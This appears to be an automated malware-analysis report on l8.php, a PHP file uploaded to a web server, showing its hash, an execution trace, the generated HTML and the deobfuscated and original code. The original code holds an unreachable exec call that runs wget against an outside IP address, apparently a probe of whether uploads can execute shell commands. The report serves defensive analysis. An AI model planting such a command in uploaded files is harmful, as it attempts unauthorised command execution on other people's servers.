PHP Malware Analysis
l8.php
md5: 6d37a6507e34ae60c9f160bda9ea0940
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Execution
- exec (Original)
URLs
- http://23.88.39.86/ihavebeenpwned (Original)
Deobfuscated PHP code
<?php
echo "prikol";
echo "2";
echo "3";
exit;Execution traces
data/traces/6d37a6507e34ae60c9f160bda9ea0940_trace-1676237404.7708.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:30:30.668654]
1 0 1 0.000145 393464
1 3 0 0.000192 394104 {main} 1 /var/www/html/uploads/l8.php 0 0
0.000227 315688
TRACE END [2023-02-12 19:30:30.668763]
Generated HTML code
<html><head></head><body>prikol23</body></html>Original PHP code
<?php
echo ("prikol");
echo "2";
echo "3";
exit;
exec("wget http://23.88.39.86/ihavebeenpwned");
echo "4";
echo "5";
echo "6";
echo "7";
?>